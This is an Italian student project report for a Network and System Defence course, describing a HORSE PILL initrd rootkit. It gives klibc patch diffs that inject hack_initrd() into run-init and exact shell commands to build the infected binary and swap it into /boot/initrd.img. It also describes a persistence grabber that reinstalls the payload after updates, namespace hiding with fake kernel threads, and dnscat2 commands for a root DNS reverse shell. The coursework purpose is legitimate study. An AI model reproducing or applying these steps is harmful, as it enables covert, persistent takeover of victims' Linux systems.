Network and System Defence

Progetto A.A. 2021/2022

HORSE PILL

0295233

Marco Calavaro

Indice

- Traccia del Progetto
- Descrizione del problema
- Creazione run-init infetto
- Installazione del run-init infetto
- Approfondimento step dell'attacco
- Grabber
- DNS Shell

Traccia del progetto

You are requested to produce a payload (using any vector of your choice) that can install a

DNS shell (see, e.g., here) using the horsepill attack. The payload should survive kernel updates.

Descrizione del problema

L'horsepill è un attacco che interviene durate la procedura di boot di Linux sfruttando una mancanza di sicurezza per quanto riguarda l'initial ram disk. Rientra nella categoria "post-exploitation" poiché l'istallazione richiede i diritti di root.

La possibilità di infettare l'initial ram disk permette di ottenere facilmente il controllo della macchina e di poter eseguire qualsiasi processo "malevolo" all'insaputa della vittima (mascheramento tramite namespace). Nel nostro caso era richiesto che venisse eseguito un processo DNS shell che permettesse un controllo da remoto della macchina infetta, inoltre l'attacco deve sopravvivere ad eventuali aggiornamenti.

Il comportamento del initial ram disk infetto può essere schematizzato dai seguenti step:

1. Caricamento dei moduli
2. Crypto setup
3. Ricerca e montaggio di rootfs
4. Enumerazione dei kernel threads
5. Clone
    a. Rimontaggio proc
    b. Creazioni di falsi kernel threads
    c. Pulizia initrd
    d. Exec di init
6. Rimontaggio di root
7. Montaggio di una zona di memoria di appoggio
8. Fork()
    a. Controllo aggiornamenti initrd
    b. DNS shell
9. Waitpid()
10. Shatdown o reboot

L’attacco si divide in due fasi:

1. La prima consiste nella preparazione offline dell’eseguibile run-init con opportune modifiche per poter eseguire gli step precedentemente descritti.
2. La seconda invece riguarda l’istallazione del run-init su initrd (ini tram disk) vittima e monitoraggio da remoto.

Creazione di un run-init infetto

Run-init è l’eseguibile contenuto nel initial ram disk di Linux che viene lanciato durante la fase di boot, il suo sorgente è recuperabile dalla libreria di sistema ***klibc***. Per poter modificare in modo più rapido e modulare tale libreria, l’approccio più comodo è quello di creare un file di patch che contenga le modifiche necessarie al funzionamento dell’attacco.

Nel caso del progetto sono state applicate le seguenti modifiche (al path urs/kinit/run-init):

1. Nella cartella sono stati inseriti tutti i file necessari all’attacco.
2. È stato modificato il file Kbuild affinché la build includesse i file malevoli.

```
--- klibc-2.0.7.orig/usr/kinit/run-init/Kbuild
+++ klibc-2.0.7/usr/kinit/run-init/Kbuild
@@ -6,7 +6,7 @@ static-y := static/run-init
 shared-y := shared/run-init

 # common .o files
-objs := run-init.o runinitlib.o
+objs := run-init.o runinitlib.o horsepill.o grabber.o
```

3. È stata modificata la funzione run_init nel file runinitlib.c.

```
--- klibc-2.0.7.orig/usr/kinit/run-init/runinitlib.c
+++ klibc-2.0.7/usr/kinit/run-init/runinitlib.c
@@ -56,6 +56,8 @@
 #include "run-init.h"
 #include "capabilities.h"

+#include "horsepill.h"
+
 /* Make it possible to compile on glibc by including constants that the
    always-behind shipped glibc headers may not include.  Classic example
    on why the lack of ABI headers screw us up. */
@@ -185,6 +187,16 @@ const char *run_init(const char *realroo
                return "rootfs not a ramfs or tmpfs";

        /* Okay, I think we should be safe... */
+
+       if (!dry_run) {
+               if (get_runinit() < 0) {
+                       printf("could not get run-init executable!");
+                       exit(EXIT_FAILURE);
+                       return "could not get run-init executable";
+               }
+               puts((const char*)banner_txt);
+               sleep(7);
+       }

        if (!dry_run) {
                if (!persist_initramfs) {
@@ -218,6 +230,7 @@ const char *run_init(const char *realroo

        if (!dry_run) {
                /* Spawn init */
+               hack_initrd();
                execv(init, initargs);
                return init;            /* Failed to spawn init */
        } else {
```

Una volta modificata una versione locale della libreria ho creato il file di patch tramite il programma “quilt” effettuando i seguenti passi:

1. Recupero della libreria klibc dalla macchina vittima eseguendo i comandi:

```
sudo apt-get build-dep klibc && apt-get source klibc
```

2. Mi posiziono all’interno della cartella della klibc e creo una nuova patch tramite comando:

```
quilt new horsepill.patch
```

3. Sfrutto i comandi di quilt come edit e add per aggiungere e modificare i file nella cartella di run-init (path: usr/kinit/run-init).
    - Le modifiche da apportare sono le seguenti:

      KBuild: aggiunta dei file oggetto dei rispettivi nuovi .c files

      Runinitlib.c: aggiunto il recupero del run-init ed esecuzione del main per l’attacco (hack_initrd())
4. Creo un file di patch tramite il seguente comando:

```
quilt diff > horsepill.patch
```

Per poter invece ottenere un eseguibile run-init infetto basterà seguire la seguente procedura:

1. Recupero della libreria klibc dalla macchina vittima eseguendo i comandi:

```
sudo apt-get build-dep klibc && apt-get source klibc
```

2. Mi posiziono all'interno della cartella della klibc e creo una nuova patch tramite comando:

```
cd klibc(version) && quilt import horsepill.patch && dpkg-buildpackage -j($nproc)
-us -uc
```

3. Completata l'esecuzione di quest'ultimi comandi è possibile recuperare il file infetto al path usr/kinit/shared/run-init.

Installazione del run-init infetto

Per poter installare il codice malevolo è necessario solamente sostituire il file run-init nell'immagine initrd situata al path /boot della macchina vittima.

Vi sono due approcci fondamentalmente per poter effettuare l'installazione, un approccio manuale oppure un approccio che intercetta il processo di update-initramfs e ne "modifica" il comportamento affinchè inserisca il file infetto nell'immagine aggiornata che produce. Per motivi didattici ho approfondito il solo approccio manuale, poiché mi ha permesso di studiare più affondo come Linux gestisce l'immagine initrd e come essa è strutturata.

Infatti il punto chiave di questo approccio è capire come scompattare e ricompattare l'immagine mantenendo la struttura inalterata per quanto riguarda l'albero delle compressioni. Linux nel tempo ha adottato differenti formati di compressione e organizzazione dell'immagine, ciò comporta che questo approccio non è robusto verso eventuali modifiche a tale sistema. Nonostante ciò, le modifiche da fare al codice di installazione seguirebbero comunque la stessa filosofia, che può essere riassunta nei seguenti passi:

1. Recupero /boot/initrd.img-$(uname -r)
2. Scompatto l'immagine
3. Modifico il run-init
4. Ricompatto l'immagine
5. Aggiorno il file nella cartella /boot

Completata questa procedura al prossimo riavvio del sistema Linux sarà lanciato con un initial ram disk infetto.

Di seguito sono riportate le istruzioni dei passi di installazione

```
mkdir attack
#decomprimere archivio
cp /boot/initrd.img-$(uname -r) attack/
cd attack
mv initrd.img-$(uname -r) initrd.img
(cpio -i; cpio -i; unlz4 |cpio -i ) < initrd.img
rm initrd.img
#effettua modifiche
rm usr/bin/run-init
#cp --preserve=all /lost+found/run-init usr/bin/
cp --preserve=all ../run-init usr/bin/
#mv ${path_runinit_mod}/run-init usr/bin/

#ricompila archivio
mkdir ../start
mv kernel/ ../start
cd ../start
find . | cpio -o -H newc > ../newinitrd.img
cd ../attack
find . | cpio -o -H newc | lz4 -l -c >> ../newinitrd.img
cd ..
#installa nuovo initrd
mv newinitrd.img /boot/initrd.img-$(uname -r)

#chiusura
rm -r attack/ start/
```

Approfondimento step dell'attacco

In questo capitolo tratterò i problemi riscontrati e le soluzioni adottate per l'implementazione degli step dell'attacco elencati nel primo capitolo.

A livello di codice il file con le funzioni principali dell'attacco è horsepill.c .

I primi tre step sono eseguiti nativamente dal ramdisk, l'attacco vero e proprio parte dall'enumerazione dei kernel threads.

Enumerazione dei kernel threads

In questa parte dell'attacco vengono recuperate informazioni sui kernel threads presenti, per poter poi ricreare dei falsi processi visibili nel namespace dell'utente.

In questo modo si maschera ulteriormente all'utente che l'attacco ha cambiato il suo namespace.

Effettuando un'analisi approfondita di questi processi è possibile capire che il sistema non sta girando in condizioni normali questo perché tipicamente tali processi girano con parent pid 0, mentre quelli generati durante l'attacco girano con un pid differente. Ma l'idea è quella che un utente normale non analizza i processi nel dettaglio.

Clone

Questo step si occupa di creare un nuovo processo per l'utente vittima con le seguenti caratteristiche:

- Nuovo namespace
- Viene smontato e rimontato proc
- Vengono installati i fake kernel threads

Completati questi step l'ambiente su cui far girare i processi dell'utente vittima è pronto, viene quindi lanciato l'init originale tramite exec.

Il processo padre esegue gli ultimi step dell'attacco.

Montaggio di una zona di memoria di appoggio

Per poter avere una zona di memoria in cui posizionare dei file viene montato un file system temporaneo al path /lost+found, in particolare tale zona è fondamentale per la persistenza dell'attacco poiché manterrà l'eseguibile run-init malevolo che verrà reinstallato in caso di update alla initrd.img

Fork()

In questa parte dell'attacco è possibile eseguire qualsiasi programma, ciascuno di essi sarà invisibile all'utente vittima grazie all'utilizzo dei namespace.

Hai fini del processo vengono lanciati due programmi:

1. Dns Shell: programma che lancia una reverse shell che sfrutta il canale dns per comunicare con la macchina attaccante, che avrà di fatto una shell root con cui gestire la macchina infetta
2. Grabber: programma che si occupa di monitorare gli aggiornamenti al file /boot/initrd.img e in caso vi sia un aggiornamento reinstalla la versione malevola.

Il processo entra poi in un loop infinito in cui rimane in attesa di eventuali segnali dai processi figli.

Grabber

La parte di codice del Grabber implementa in c i concetti descritti nel capitolo "Installazione del run-init infetto".

Il Grabber fondamentalmente è un processo che si occupa di installare la versione malevola del run-init ogni qual volta viene lanciato il processo di aggiornamento (tipicamente tramite comando update-initramfs). Per monitorare le modifiche hai file di interesse ho sfruttato il meccanismo di inotify di Linux.

La soluzione che ho sviluppato controlla direttamente l'immagine initrd.img nella cartella /boot di sistema, in caso vi siano delle modifiche rilancia lo script di installazione. Questo processo non è del tutto ottimale poiché se il computer venisse riavviato subito dopo l'aggiornamento tale processo potrebbe non essere terminato e quindi non riuscire ad infettare nuovamente la macchina.

La soluzione che risolve questo problema è quella di monitorare direttamente il processo di aggiornamento e modificare il run-init con la versione infetta, prima che tale processo completi il packing della nuova immagine. Questa soluzione non è robusta poiché fortemente dipendente dal funzionamento del programma di aggiornamento.

DNS Shell

Per quanto lo sviluppo di una dns shell ho effettuato diverse ricerche su internet ma molte non funzionavano, oppure dovevano essere modificate in modo molto pesante andando al di fuori dell'obbiettivo del progetto.

La Dns Shell che ho utilizzato è dnscat2 (https://github.com/iagox86/dnscat2) che mi permetteva di avere un client c, da poter includere nel codice dell'attacco e un server ruby per effettuare accesso da remoto.

In particolare, prima di riavviare il computer infetto è necessario lanciare tale server dal computer attaccante mediante il comando:

```
sudo ruby ./server/dnscat2.rb --secret=key hostname.dot
```

Una volta attivato il server è possibile rilanciare il computer infetto che automaticamente si connetterà al server (indirizzo IP e secret key vengono specificati nella fase offline dell'attacco in base ai parametri in horsepill.h) che potrà eseguire comandi da remoto.

Dopo la connessione bisogna effettuare la seguente procedura per il programma dnscat2 affinchè venga eseguita una reverse shell:

```
window -i number
(number corrisponde al numero che viene visualizzato a schermo dopo la connessione
tipicamente 1) poi si lancia il comando

shell (bisognerà aprire la nuova finestra con il comando di sopra)

window -i numer2 (tipicamente 2)
```